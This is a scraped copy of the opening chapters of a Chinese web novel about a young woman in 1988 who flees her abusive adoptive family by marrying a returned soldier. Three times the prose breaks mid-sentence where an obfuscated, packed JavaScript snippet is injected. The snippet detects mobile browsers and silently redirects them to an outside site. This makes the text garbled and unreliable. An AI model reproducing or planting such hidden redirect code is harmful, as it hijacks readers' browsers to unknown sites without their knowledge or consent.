《八十年代闪婚日常》 1. 第1章 八十年代闪婚日常 文/月戍 第1章 一九八八年,四月七日。 千河村村口的大榕树下,徐秀竹时不时地往陈远洲家的方向张望。 她和陈远洲约好九点在这里汇合,一起到镇上去领结婚证。 八一年修订了婚姻法,要求男方结婚不得早于二十二周岁,女方不得早于二十周岁。徐秀竹今年二十二岁,到了可以结婚的岁年纪,可千河村也有不少十八九岁就结婚的,甚至连结婚证都没领,两家人就摆几桌酒席,过了彩礼,这事就算成了。 徐秀竹是个讲规矩的人。结婚也好,离婚也好,都要合理合法,名正言顺才行。她大伯家的堂姐徐彩凤就是吃了这个亏。 徐彩凤只比徐秀竹大了几个月,十八岁那年没领结婚证就嫁给了镇上肉联厂厂长的儿子,嫁过去之后肚子就没消停过,接连生了两个,因为都是女孩,婆家没少给她脸色看,还总拿二人没领证结婚证的事敲打她。 为了这张结婚证,徐彩凤身体都没调养好又怀了第三胎,她妈田翠芳找人算过,说这胎准保是儿子,徐彩凤在婆家的日子这才好过点。 徐秀竹前一阵去镇上的时候顺便去看了看徐彩凤,徐彩凤的状态不太好,一米六五的个头瘦的不到八十斤,感觉一阵风就能把人吹倒。 虽说现在都在提倡少生优生,可若是碰上个重男轻女的家庭,就得和徐彩凤一样一直生。徐秀竹倒是不觉得生男生女有什么分别,可看徐彩凤的样子,她倒是希望她这胎真能生儿子,也省的再遭罪了。 梁喜枝正陪着徐秀竹一起等陈远洲。两人从小一起去长大,是最好的朋友,可她实在不敢相信一向稳重的徐秀竹会在短时间内做出一个这么大胆的决定。 “竹子,你真的想好要和陈远洲结婚吗?” 梁喜枝已经问了好多遍,徐秀竹还是耐着性子答道:“我想好了,我要和他结婚。” 梁喜枝有些担心:“他比你大七岁呢,又在外面当兵那么多年,这才回来没几天,咱们还不了解他。” 千河村总共不到一百户人家,差不多大的孩子基本都是一起长起来的,但徐秀竹和陈远洲差了七岁,小时候玩不到一起去,再加上陈远洲十七岁参军,这些年回来的次数也是屈指可数,所以梁喜枝说的没错,二人确实不太熟悉。 徐秀竹打定了主意,她说道:“结了婚慢慢就了解了,再说都是一个村子的,知根知底,不怕。” 梁喜枝犹豫了一下,还是没忍住,问道:“你是不是知道那件事以后才决定跟陈远洲结婚的?这样你就能跟他去滨城,离开家了,对不对?” 徐秀竹并没有刻意隐瞒:“有这个原因。” 梁喜枝也不知道怎么安慰她,“你也别太难过了,其实能离开你那个家也挺好的。” 她一想到徐秀竹那个酗酒的爸,刻薄的妈,以及两个自私的弟弟,就觉得汗毛都要竖起来了。 徐秀竹沉默了一会儿,然后说道:“其实我知道他们不是我的亲生父母之后,反而松了口气,甚至还有些庆幸。” 梁喜枝理解徐秀竹所说的“松了口气”和“有些庆幸”是什么意思。 她是村支书梁大友家的小女儿,上面有三个哥哥,从小是被全家人宠着长大的,三个哥哥成家后,嫂子们对她也很好,所以当她知道徐秀竹不是徐德柱和赵春梅亲生的之后,第一时间带入了自己。 如果有人告诉她,她不是梁家的孩子,那她怕是要哭死了。 但是徐秀竹不一样,她从小在家里过得是水深火热的日子。 她是家里的老大,下面还有两个弟弟。父母重男轻女,溺爱弟弟,她六七岁就开始干活,先是捡柴挑水洗衣做饭,年纪稍大一些就跟着大人们下地干活,就这样还要经常挨打挨骂。 梁喜枝小时候去找徐秀竹玩,可她去十次,徐秀竹得有七次都在挨骂,而另外三次则是在挨打。 徐秀竹小时候也是个活泼爱闹的性子,可硬是被赵春梅两口子管成了闷葫芦,就连梁喜枝都偷偷怀疑她是不是徐家亲生的。 可没想到徐秀竹前几天去河边洗衣服,几个妇女闲聊说走了嘴,徐秀竹果真不是赵春梅亲生的。 当年徐德柱和赵春梅结婚六七年也要不上孩子,村里就有人给出主意,让他俩去抱养个孩子“引引路”。 正巧当时村里有一个外来户,那女人来的时候就大着肚子,直到快生了也没看见孩子爹出现。 赵春梅听人说,她是和男人私奔跑出来的,但不知道为什么只有她一个人出现在了千河村。 那年冬天女人生了个女儿,就是徐秀竹。徐秀竹刚满月,女人就独自离开了千河村,徐德柱和赵春梅就收养了徐秀竹。 说来也巧,徐秀竹刚到徐家没多久,赵春梅就怀孕了,足月生下了一个大胖小子,俩人别提多高兴。 按理说这是徐秀竹带来的好运,两口子更应该对她好。可有了自己的孩子,别人的孩子就成了草芥,可以说徐秀竹从小就是当丫鬟用的。 徐秀竹知道这事以后回去就问了赵春梅,赵春梅倒是一点也不藏着掖着,还说她就是个没人要的野种,要不是徐家收留她,给她一口饭吃,她早就死在那个冬天了。 徐秀竹忽然觉得一切都说得通了。 怪不得她虽然在徐家生活二十二年,但却像从来没有融入过徐家一样。 徐德柱的冷漠,赵春梅的苛待,两个弟弟也从没把她当成姐姐亲近。 梁喜枝拍了拍走神的徐秀竹,说出了自己的担心。 “陈远洲在部队那么多年,还是个当领导的,心眼肯定像蜂窝煤似的。结婚这么大的事他都答应的爽快,万一憋着什么坏心眼,你也不是他的对手啊!” “那我就跟他斗智斗勇。”徐秀竹开了个玩笑,又说道:“就算不嫁给陈远洲,也要嫁给别人,那天我大伯母来家里,说要给我介绍对象,是镇里棉纺厂的副厂长,可我去打听了,棉纺厂只有一个副厂长,都四十多岁了,听说前两个老婆都是被他打跑的,他还有三个孩子,最大的那个就比我小三岁。你知道我妈的性格,她为了彩礼,就算是绑也得把我绑到副厂长家。” 梁喜枝气得要命:“这都是什么人啊!土匪强盗吗!” 徐秀竹:“所以还不如嫁给陈远洲,最起码他工作好,家里也没有那么多乱七八糟的事,重点是......” “重点是他的长相还是你喜欢的类型!”梁喜枝抢答。 徐秀竹笑眯眯的拍了拍她的肩膀:“知我者,大枝子也。” 梁喜枝很了解徐秀竹的性格,虽然她看着总是一副温温和和,很好说话的样子,但其实特别有主意,认定的事轻易不会改变。 但是作为徐秀竹的好朋友,梁喜枝就是觉得没人能配得上徐秀竹。她看了看手表,不满道:“这都几点了,陈远洲怎么还没到?还当过兵呢,真是不守时!” 徐秀竹拉过梁喜枝的手腕看了眼,“约的是九点,这才八点五十,是我到早了。” 梁喜枝忽然有种危机感:“还没结婚呢你就替他说话,这要是结了婚,我就再也不是你天下第一好的朋友了吧?” 徐秀竹捏了捏梁喜枝肉乎乎的小圆脸,笑着道:“是,怎么不是,我永远跟你天下第一好。” 梁喜枝傲娇的扬了扬头,“这还差不多。”可说完她又有些伤心,“等你结了婚就要去滨城了,我也要去面粉厂上班了,咱俩不知道哪年还能再见面了。” 前一阵面粉厂招人,徐秀竹和梁喜枝一起去应聘,可二人都没选上,后来面粉厂说只要一个人交五百块钱就能去。 让赵春梅拿五百块钱给徐秀竹买个工作,还不如拿刀子在她身上割肉,所以徐秀竹回来提都没提,但是梁大友觉得小姑娘有个铁饭碗挺好,于是就给梁喜枝交了钱。 梁喜枝本来是陪着徐秀竹去凑数的。面粉厂在临市,离家远,她不想去,可梁家人轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487375|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番上阵劝她,她耳朵都听的起茧子了,这才勉强答应。 徐秀竹安慰她:“会见面的,咱俩还可以写信。” 梁喜枝问道:“竹子,你后不后悔自己初中毕业之后上了高中?你要是不上高中的话,以你的成绩肯定能上师专,到时候毕了业直接就分配工作了。” 当初徐秀竹不是没想过上师专的事,不仅免费,而且上两年半就可以实习,毕了业就能分配到小学当老师。 可她就是不甘心,就想考个大学。 徐秀竹现在想想,她能上到高二还真是不容易。 当初赵春梅只打算让她念到小学,是她找梁大友给说情才上了初中。赵春梅不给她交学费,她就四处打零工赚学费和生活费。 赵春梅原本是想难为她一下,等她坚持不下去了自己就回家了,可徐秀竹骨头硬,硬是咬牙坚持了三年。 等到高中赵春梅说什么也不放人。可徐秀竹成绩好,受到了教育局的关注,见她什么学校都没报,就特意安排人到家里来询问情况。 赵春梅一看公家都来人了,只能借口说家里条件不好,交不起学费。最后学校答应免去徐秀竹的学杂费,还答应让她在食堂勤工俭学赚点伙食费,赵春梅这才不情不愿地让她去读了高中。 高二的时候赵春梅骗她说徐德柱的腿摔断了,以后干不了重活,家里负担太重了。徐秀竹真信了她的话,办了退学,可回家后才发现徐德柱就是脚踝崴了一下,根本没那么严重。 徐秀竹不再回忆,说道:“也后悔过,可过日子总得向前看,为以后做打算。” 梁喜枝不赞同她的观点:“你就是想的太多,我觉得过日子过得就是当下,只要当下开心了,爽了,以后的事以后再说呗!” 徐秀竹想了想她的话,点点头:“你说的也对。” 陈远洲是差五分钟九点赶到的。常年带兵的人目光总是要比寻常人锐利,再加上陈远洲那张本就生的冷峻的脸,所以不笑时就显得有些凶。 梁喜枝不理解徐秀竹为什么会觉得这样一张脸好看,她感觉陈远洲整个人都冷兮兮的,一点也不喜庆,她喜欢喜庆的长相。 一个小时后陈远洲和徐秀竹到了镇上。民政局的人不多,排在他们前面的还有三对。 最引人注目的是他们前面那对,两个人都穿了件红色衣服,尤其是男方显然还有些紧张,拿着介绍信的手都有点抖。 女方笑话他:“你可真没出息,这么点小事就给你吓成这样。” 男方辩驳道:“这哪里是小事?结婚可是人生大事!” 女方照着他的肩膀捶了一拳:“人生大事你怎么不好好考虑一下?怎么我说结婚你就跟来了?” 男方有些委屈:“那不是你说的,我要不来,你就找别人领结婚证......” 女方被他气到了,回头找徐秀竹评理:“妹妹,你说他这话是什么意思?倒像是我逼着他跟我结婚一样!” 男方小声为自己辩解:“我没说你逼我,我就是觉得现在还不是时候,我还没攒够钱......” 女方直接被他气乐了:“合着你的意思是,你要是一辈子都赚到钱,就一辈子都不娶我呗?” 男方吓了一跳,连忙说道:“呸呸呸,这是什么话,我肯定会赚到钱的。” 女方被他气的彻底无语了。 眼看二人就要吵起来了,徐秀竹赶忙出声劝道:“你们两个说的都有道理,男方肯定想的是等自己条件好一点,能给女方更好的生活再结婚,而女方觉得只要感情到了就不用考虑那么多,毕竟有情饮水嘛。” 女方听了徐秀竹的话大为赞同,“对对对,就是这句话,有情饮水饱!你说的太对了!”说完她看了眼一旁高高大大的陈远洲,自来熟的问徐秀竹:“那你们二位是属于哪种呢?” 这倒是把徐秀竹问住了,她憋了半天也没回答上来,最后还是陈远洲给解的围。 “我们是闪婚。” 2. 第2章 第2章 徐秀竹觉得陈远洲说的还挺对,他们确实是闪婚。 而这一切还要从徐秀竹几天前做的一个梦说起。 那是一个很长的梦,在梦里徐秀竹知道了自己的身世,原来她只是徐德柱和赵春梅为了“引种”而收养的孩子。 徐秀竹为了摆脱在徐家当牛做马的日子,偷偷参加了城里的招工,可招工没选上,还被赵春梅狠狠骂了她一顿,然后逼着她嫁给镇里棉纺厂的副厂长孙强。 孙强四十多岁,打跑了两任老婆,还有三个孩子。赵春梅为了彩礼,竟然下药让二人生米煮成了熟饭。 徐秀竹不得已嫁给孙强,婚后重男轻女的娘家三天两头找上门,以各种理由要钱,还让孙家给他们的亲儿子安排工作。 娘家趴在她身上吸血,而她婚后的日子也不好过。孙强好赌成性,很快就败光了家里的钱,还欠了一堆外债,又因为徐秀竹一直怀不上孩子,经常对她又打又骂。 孙强的三个孩子也不是好东西,偷鸡摸狗,打架斗殴,三天两头进派出所。 徐秀竹每天都像生活在地狱里。后来她凭自己的努力在糖厂找了个工作,被赵春梅知道后,又寻死觅活的逼着她把工作让给弟妹。 孙强知道这事后狠狠打了她一顿,还扬言要杀了她。她带着一身的伤想躲去徐俊柏家,却被拒之门外,回乡下娘家刚住了一晚就被赵春梅以影响不好撵了回去。 心灰意冷的她偷着爬上了往北方运货的火车,到了离家千里之外的滨城。 因为没有证件找不到正式工作,她就靠打零工过日子。扛过大包,卸过货车,住过天桥,跟野狗抢过干粮,日子过得别提多苦。后来有一次差点被乞丐欺负,是同村的老乡陈远洲救了她。 陈远洲之前一直在部队,转业之后就在滨城公安局工作。他找关系替徐秀竹补了证件,给她安排了住处,还托朋友给她介绍了一份安稳的工作。 在千河村的时候徐秀竹跟陈远洲并不算太熟,如今二人远在他乡,反倒成了朋友。 陈远洲当年离开部队的时候先回了千河村,可回村没多久就被同村的李宝珠骗婚。 李宝珠看上了陈远洲,但陈远洲不为所动,她就自导自演了一场逼婚大戏,假装掉进河里,再被路过的陈远洲救上岸,李家找了一帮人围观,闹得人尽皆知,李宝珠一哭二闹三上吊,最后逼着陈远洲娶了她。 李宝珠跟着陈远洲到了滨城,可没多久就有了外遇,陈远洲提出离婚。 徐秀竹遇到陈远洲的时候他已经离婚很久了,后来陈远洲出任务时受了重伤,成了植物人,徐秀竹就照顾了他三年,直到他去世。 徐秀竹的梦做到这里就醒了。原本以为这只是一个过于真实的梦,可谁知第二天她就知道了自己不是徐家孩子的事。 以为这也是巧合,可当她大伯母提到给她介绍的对象叫孙强的时候,她脑海里立马浮现出孙强那张恶魔一样的脸。 于是徐秀竹打定主意,无论是巧合还是预兆,她都不会嫁给孙强。 但是不嫁孙强,还会有张强,李强,王强,要想断了赵春梅拿她换彩礼的念头,她只有先一步找别人结婚。 徐秀竹想到了陈远洲。 如果那个梦是真的,那陈远洲就会变成植物人,还会早死。可梦里的时间线并不清晰,所以陈远洲受伤是多久以后发生的事她也不知道。 徐秀竹找到陈远洲,开门见山的说了自己的想法。 陈远洲先是沉默,然后问她为什么。 徐秀竹隐瞒了梦里的事,只说她想离开千河村,走得越远越好。如果两个人结婚,她就可以去滨城了。她还保证自己会是一个合格的结婚对象。 陈远洲今年二十九,家里人催婚催得紧,他妈王翠华为了这事整晚睡不着觉。 从前他在部队里,王翠华管不到他,如今转业后工作又安排在了千里之外的滨城,这要是一走结婚的事又不知道要拖到什么时候,所以王翠华打定主意,要在他去滨城之前把结婚的事敲定。 怕王翠华赶鸭子上架,陈远洲索性答应了徐秀竹。 他觉得这姑娘胆子还挺大,有点意思。 徐秀竹怕生变故,没跟家里人说,陈远洲也是个怕麻烦的,二人一拍即合,去村里开了介绍信就去领结婚证。 从民政局出来的时候,二人各怀心事,明显和其他欢欣雀跃的新婚小夫妻有些不同。 徐秀竹看着手里红彤彤的结婚证,心跳的有点快。 她做事一向求稳,如今一次冒险换来一个机会,虽然不知道未来如何,但总好过坐以待毙。 春日的阳光温暖柔和,徐秀竹望向陈远洲,晃了晃手里的结婚证,弯着眼睛笑了笑。 她说陈远洲你放心,我一定会是一个合格的妻子。 —— 徐秀竹回家的时候,她大伯母田翠芳也在。 田翠芳是来通知赵春梅,她已经跟孙强约好了相看的时间。 田翠芳看了看徐秀竹身上洗的发白的衣服,跟赵春梅说道:“我家里还有几件彩凤结婚前留在家里的衣服,一会让秀竹跟我去取,人家孙副厂长也是有头有脸的人,秀竹穿成这样可不行。” 赵春梅听得出田翠芳语气里的鄙夷和优越感,可眼前有事求着她,也不好当场翻脸。 她心想不就是徐彩凤嫁了个厂长的儿子,又经常往家里拿钱,显摆什么。等徐秀竹嫁到孙家,孙家的一切都是他们的。 田翠芳拍板道:“那就这么定了,后天上午孙强就来家里。” 赵春梅也同意。 一旁一直沉默的徐秀竹说道:“我不同意。” “这......”田翠芳看了眼赵春梅,“你们娘俩没谈妥啊?” 赵春梅瞪了徐秀竹一眼,连忙说道:“谈妥了,你别听她胡说。” 田翠芳将信将疑:“最好是这样,别等人来了你们再有什么想法,到时候大家的面子可都不好看。” 赵春梅打包票:“绝对不会。” 徐秀竹看向赵春梅:“你知不知道孙强已经四十多岁了,他好赌成性,打跑了两个老婆,还有三个孩子。” 赵春梅很不满意徐秀竹质问的语气,高声道:“那又怎么了!你只要嫁过去,给他生个儿子,那孙家的一切就都是你的!” 徐秀竹冷漠道:“是我的?还是徐俊柏和徐俊松的?” 赵春梅一听这话立马急了:“他们是你的弟弟,你的不就是他们的!” 徐秀竹反问道:“那他们的,是我的吗?” 赵春梅觉得徐秀竹今天有些反常,从前她闷葫芦一样的性格从来不会多说一句。不过她一下就反应过来,心想徐秀竹肯定是知道自己不是徐家的孩子之后有了外心。 赵春梅气急败坏道:“当年要不是我们收留你,你早就死了!我告诉你,这个婚必须结!我就算是绑也会把你绑到孙家!” 田翠芳眼看赵春梅越说越离谱,连忙劝道:“春梅,你这说的是什么话,结婚这么大的事肯定要秀竹点头才行。” 徐秀竹从挎包里掏出刚领的结婚证,翻开里面的内容正对着赵春梅,“我已经结婚了。” 赵春梅腾的一下站起身:“什么!” 她凑近一看,结婚证上写着日期,盖着钢印,还贴了张照片。 赵春梅眼前一黑,险些栽倒。 田翠芳赶紧上前仔细看了看结婚证,这证跟她家彩凤的一样,是真的。 只是这照片上的两个人,一个是徐秀竹,另一个是......陈远洲! 田翠芳不敢置信的问道:“你跟陈远洲结婚了?” 徐秀竹:“上午刚领的结婚证。” 田翠芳一下子酸的不行。 要知道陈家可是村里数一数二的殷实人家,而陈远洲参军多年,在部队里干的也是风生水起,如今转业回来,听说工作已经在大城市里安排好了,那可是吃公粮。 田翠芳扫了眼干干瘦瘦的徐秀竹,怎么看都和长相俊朗的陈远洲不般配,于是吃不到葡萄说葡萄酸的说道:“秀竹啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487376|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你跟那个陈远洲也不熟吧?他这才回来没几天就这么着急跟你领结婚证,别是有什么难言之隐没告诉你吧?” 徐秀竹收起结婚证,看也没看田翠芳,“不如大伯母亲自去问问他。” 田翠芳脖子一挺,“关我什么事,还要我去问。” 徐秀竹抬头笑眯眯的看着田翠芳,语气却是冷的:“是啊,我结婚确实跟你没什关系,可你不也给介绍了孙强吗?不知道的还以为孙家给了你多少好处呢。” 田翠芳没想到一向老实的徐秀竹说话这么噎人,有些心虚道:“你可别胡说八道!” 说完又对赵春梅说道:“要不是你托我,说让我帮忙给找个条件好的,我用的着这么忙前忙后的张罗吗?现在好了,我反倒里外不是人了。行了,你们家的事我可不管了!” 田翠芳说完脚底下就跟踩了风火轮似的跑了。 赵春梅也缓过来了,她嗷的一声冲到徐秀竹面前,抬起巴掌就要打她。 徐秀竹一把抓住赵春梅的手腕。她常年干活,虽然看着瘦,但却有股子力气,赵春梅挣脱了好几下也没挣脱开,随即又抬起了另一只手,但也被徐秀竹抓住。 赵春梅看着眼底都是冰的徐秀竹,还在虚张声势:“怎么?你还敢打我?”说完立马冲着门外大声嚷嚷起来:“不好了!徐秀竹疯了!竟然敢打她妈!” 隔壁院子里正在晾衣服的李芬听见了。她跟赵春梅家做了这么多年的邻居,对她家那点破事很清楚,两家平日就不对付,李芬一百个看不上赵春梅。 她啐了一口,跟来串门的王金花和钱二芬说道:“秀竹那丫头真是又可怜又命大,亲妈不要她,徐家还这么磋磨她,竟然也长大了。” 王金花是个爱看热闹的,她趴在半人多高的院墙上往徐家瞧,然后问两人:“徐秀竹不会真打赵春梅吧?” 李芬可以说是看着徐秀竹长大的,“不会,那孩子厚道着呢,虽然性子有些闷,但却是个实打实的好孩子,手脚还勤快,她六七岁就开始上山捡柴,那么小也捡不了几根柴,还扎的满手都是刺,赵春梅那个黑心的不管不问,好几次都是我用针给挑出来的。” 钱二芬也有印象,一般近处的柴都被人捡干净了,徐秀竹就往山里走。也多亏了这孩子方向感好,记得路,不然都得丢八百回了。 徐家屋里,徐秀竹松开了赵春梅,她说道:“我不会打你,你说的对,要不是你们当初把我捡回来,我确实活不过那个冬天,你们对我有恩,我认。” 说到这徐秀竹深吸了口气,声音略带颤抖道:“但是这么多年你们是怎么对我的,我也不会忘。徐俊柏和徐俊松是你的儿子,不是我的,我没有义务负责他们的人生,也没有什么对不起徐家的地方。” 说完徐秀竹回到屋里,反锁了门,开始收拾东西。 赵春梅砸了半天门没砸开,气急败坏的出门去了陈家。 徐秀竹收拾东西的时候才发现,自己在徐家生活了二十二年,可属于她的东西只有两个小包袱。 身下的木床适时的“咯吱”叫唤了一声,唤回徐秀竹的思绪。 她起身盯着这张单人小床看了一会儿。 这张床其实早就应该报废,她跟赵春梅提过很多次,可赵春梅总嫌她事多矫情,怪她浪费,她只能修了又修,补了再补,晚上躺在床上都不敢翻身。 原本以为赵春梅只是节省,可没几天她就看到徐德柱又给徐俊柏打了张新床。 想到这徐秀竹忽然用力一脚踹到了木床上。木床承受不住,直接散架了。 徐秀竹又数了数手里现有的钱,一共三百二十一块五毛六分。 这些钱都是徐秀竹一分一毛攒下的。她辍学之后就回了家,家里家外的忙碌让她可以支配的自由时间变得更少,可即便是这样,她也从没有放弃任何一个可以赚到钱的机会。 只是梦里她是个傻的,结婚之后竟然拿把自己的私房钱全都留给了赵春梅,赵春梅还因为她偷藏钱骂了她一顿。 这一次她不会再这么傻了。 3. 第3章 第3章 陈远洲一到家就把他跟徐秀竹领结婚证的事告诉了家里人。 最先反应过来的是陈远红,她挺着孕肚冲着陈远洲直竖大拇指:“三哥,你真是闷声干大事啊!” 王翠华指着陈远洲半天没说出来话。她虽说着急儿子的婚事,但也没陈远洲这么急,不声不响的就把证领了。 重点是陈远洲刚回来,这俩人是什么时候有这个意思的? 陈远洲给出的解释是,他和徐秀竹互相看对了眼,一商量就把婚结了。 王翠华总觉得没这么简单,但也知道从陈远洲这里问不出什么。 她这个小儿子一向惜字如金,习惯先斩后奏,就好比他参军和转业一样,家里事先都不知道。 王翠华气还没捋顺,赵春梅就打上了门。她又作又闹,直接让王翠华的怒火转移了。 赵春梅在村子里没几个怕的人,王翠华是一个。要不是让徐秀竹气昏了头,她也不会贸然打上门。 王翠华的娘家在村里很有威望。当年战争的时候,千河村被敌人包围,差点灭村,是王翠华的爷爷带着几个儿子,领着乡亲们守住了村子。 在那场战争中她的爷爷和几个叔叔都死了,她爸也成了残疾。千河村的王姓人家本来是外来户,但为了感念王家的恩德,王姓倒成了千河村的第一大姓。 王翠华为人也爽利,在家里也是说一不二的性格。她冷眼看着赵春梅不为所动,甚至让大儿媳妇魏珊珊给倒了杯水,边喝边看戏。 赵春梅体力有限,作了一会儿觉得累了,就让陈家人给个说法。 她说自己好好养大的闺女不能平白便宜了陈远洲。 王翠华慢悠悠的靠在了藤椅上,气势十足的问赵春梅:“那我倒是想听听你是怎么好好养大的闺女?正好我也学习一下。” 赵春梅当然说不出来,车轱辘话来来回回就是那么几句,最后干脆狮子大开口,管陈家要了四千块钱的彩礼钱。 陈家的条件在千河村确实是数一数二的。陈大江能干活,还有木匠手艺,大儿子陈远山跟着父亲学了手艺,十里八村想打家具的都要找陈家。二儿子陈远河在机关单位上班,媳妇是厂里的会计。三儿子陈远洲的工作安排完了,女儿陈远红在镇里的小学当老师,嫁的也好。 千河村怕是没有比陈家日子过得还滋润的了。 赵春梅原本想的是徐秀竹嫁到镇上,离家近,也方便拿捏。可如今她不声不响的攀上了陈远洲,这要是一竿子跑远了,她该去哪里抓人? 索性一次性把彩礼钱要足,将来她爱滚到哪里滚到哪里,眼不见为净。 徐秀竹知道以赵春梅的性格一定会来陈家闹,就赶忙跑过来,进来的时候刚好听到赵春梅在管陈家要四千块钱的彩礼。 徐秀竹跑的急,有点岔气了,捂着肚子弯着腰半天没说出话。 陈远洲注意到后走过来,让她按住岔气的地方深吸一口气,再慢慢吐气。 反复两次之后徐秀竹觉得不疼了。她看了眼还坐在地上的赵春梅,跟王翠华说一分钱彩礼也不要。 赵春梅气得要打人,但徐秀竹早就预判到她的动作,躲了过去。 王翠华对赵春梅这个亲家是一万个不满意,但也没迁怒徐秀竹。 陈远洲又不是傻子,徐秀竹真要是个不成样的,想必他也不能同意结婚。 儿孙自有儿孙福,王翠华也管不了。 徐秀竹眼神询问陈远洲,陈远洲心领神会道:“妈同意,可高兴了。” 王翠华听后一言难尽的看了眼陈远洲,然后尴尬的冲徐秀竹笑了笑。 一旁的陈远红和魏珊珊抿着嘴偷笑。 被忽视的赵春梅感觉很不爽,刚要开口就被王翠华打断。 “彩礼我们会给,但是给多少可不是你张嘴就来的。你要是再闹,我们保证一分钱都不会给。” 赵春梅一听彩礼的事有门,便没再闹,她也真怕惹急了王翠华,一分钱也捞不到。 王翠华说明天会上门正式过礼,这才把人打发走。徐秀竹也要跟回去,被王翠华叫住。 “既然都结婚了,那今晚就住在家里。” 陈远红一听赶忙过来拉住徐秀竹,十分热络道:“三嫂,我带你看看我三哥的房间!” ...... 陈远洲和徐秀竹结婚的消息很快就传开了,下午陆续有人上门打听。 王翠华和陈远洲不知道去哪里了,魏珊珊和陈远红只能招待了一波又一波。 徐秀竹有点不好意思就躲了出去,她见陈家养了猪,就背着背篓,拿着镰刀去割猪草。 路上正巧碰到了李芬、王金花和钱二芬,这三人也听到了消息。 三人走在徐秀竹的后面,小声聊天。 钱二英:“听说陈远洲这次回来工作都安排好了,就在滨城,滨城在哪啊?” 李芬笑话钱二英:“滨城你都不知道?在东北啊!听说那里特别冷,十月份就开始下雪,冬天都零下三四十度,不戴帽子耳朵都能冻掉!” 钱二英去过最远的地方就是镇上,她不信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487377|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李芬的话,“零下三四十度?你糊弄人的吧?那么冷屋里晚上能住人吗?” 李芬有个远房亲戚就是东北的,她给钱二英科普道:“人家冬天屋子里烧的可热乎了,穿背心都不冷。” 王金花关心的重点却不一样,“二英,你说他工作都安排好了?什么工作?” 钱二英摇摇头:“具体不太清楚,但反正是个领导,吃公粮的。”说完她提起一件旧事:“金花,当年你侄女要是嫁给陈远洲,如今也能跟着去大城市吃公粮了。” 王金花心里酸的不行,可还是嘴硬道:“也就是我家小娟当年猪油蒙了心看上了陈远洲,我是半点没相中那小子。” 李芬拆穿她:“得了吧,当年谁不知道你们王家都去陈家提亲了,那是人家陈远洲没相中你家小娟。” 王金花拿手推她:“去去去,陈芝麻烂谷子的事了还提。” 三个人的嗓门实在有些大,就算压低了音量,徐秀竹还是听见了。 王小娟和陈远洲的事徐秀竹知道。 三年前陈远洲休探亲假回来,王金花的侄女王小娟对他一见钟情。 想着十里八村确实也找不出第二个条件这么好的,王家就趁着陈远洲休假还没结束找人上门说亲,可陈远洲拒绝的干脆,一点余地都没留。 王小娟伤心的够呛,大病了一场,病好后就匆匆嫁了人,婚后的日子磕磕绊绊的也不好过。 钱二英见王金花郁闷,清了清嗓子准备再报个猛料:“你们知道陈远洲在部队干得好好的,为什么要离开吗?” 徐秀竹故意放慢脚步,竖起耳朵偷听。 钱二英:“我听说是因为受了伤,还是伤在了下半身,估计要孩子都费劲,说不定两口子间的那档子事都干不了了。” “真的啊?”王金花眼睛瞪的溜圆,幸灾乐祸地问道:“你听谁说的?靠谱吗?” 被质疑的钱二英有点不爽:“怎么不靠谱?我表姑的邻居的儿子的同学的小舅子跟陈远洲是一个部队的,咱这都是实在亲戚!” “那指定是错不了了!”王金花挺起腰板给自己的侄女挽尊:“多亏我家小娟没跟他,这要是跟了他不就是守活寡了?不管咋说小娟现在儿子都生了。” 几个人虽然压低了声音说话,可还是被徐秀竹听见了。 在梦里李宝珠好像很喜欢陈远洲,可为什么结婚没多久就有外遇了呢?俩人还因此离了婚,再之后陈远洲就一直没结婚。 徐秀竹一下子顿悟了。 原来是因为陈远洲不行啊! 4. 第4章 第4章 王翠华一声令下,晚饭之前陈家所有人都回来了。 除了正在邻村打家具的陈大江和陈远山,还有在镇里工作的老二陈远河一家三口,姑爷周到也回来了。 饭桌上热热闹闹的十几口人,反倒让徐秀竹有些局促。 陈远红比徐秀竹大了三岁,今年二十五。她是陈家性子最活泼的,也是跟徐秀竹年龄最接近的,吃饭的时候她主动提出来要挨着徐秀竹。 周到为了照顾怀孕快七个月的老婆,也自动自觉的端着碗筷坐在了陈远红身边。 陈远红打趣王翠华:“妈,咱家今天添人进口了,你作为一家之主不赶紧讲两句。” 陈大江也高兴,端着小酒杯冲着老伴直眨眼:“对,你快将两句。” 他心想,让他老伴讲完话可就不能让他讲喽。 王翠华也不推辞,她清了清嗓子,先是对徐秀竹加入陈家这个大家庭表示欢迎,然后又嘱咐陈远洲以后要对老婆好,夫妻要互敬互爱,有商有量,过好自己的小日子最重要。 叮嘱完陈远洲和徐秀竹,还对大儿媳妇魏珊珊的辛苦付出表示了感谢,陈远山有时候出门帮人家打家具,好几天不在家,魏珊珊要照顾两个孩子,还要操持家里,很不容易。 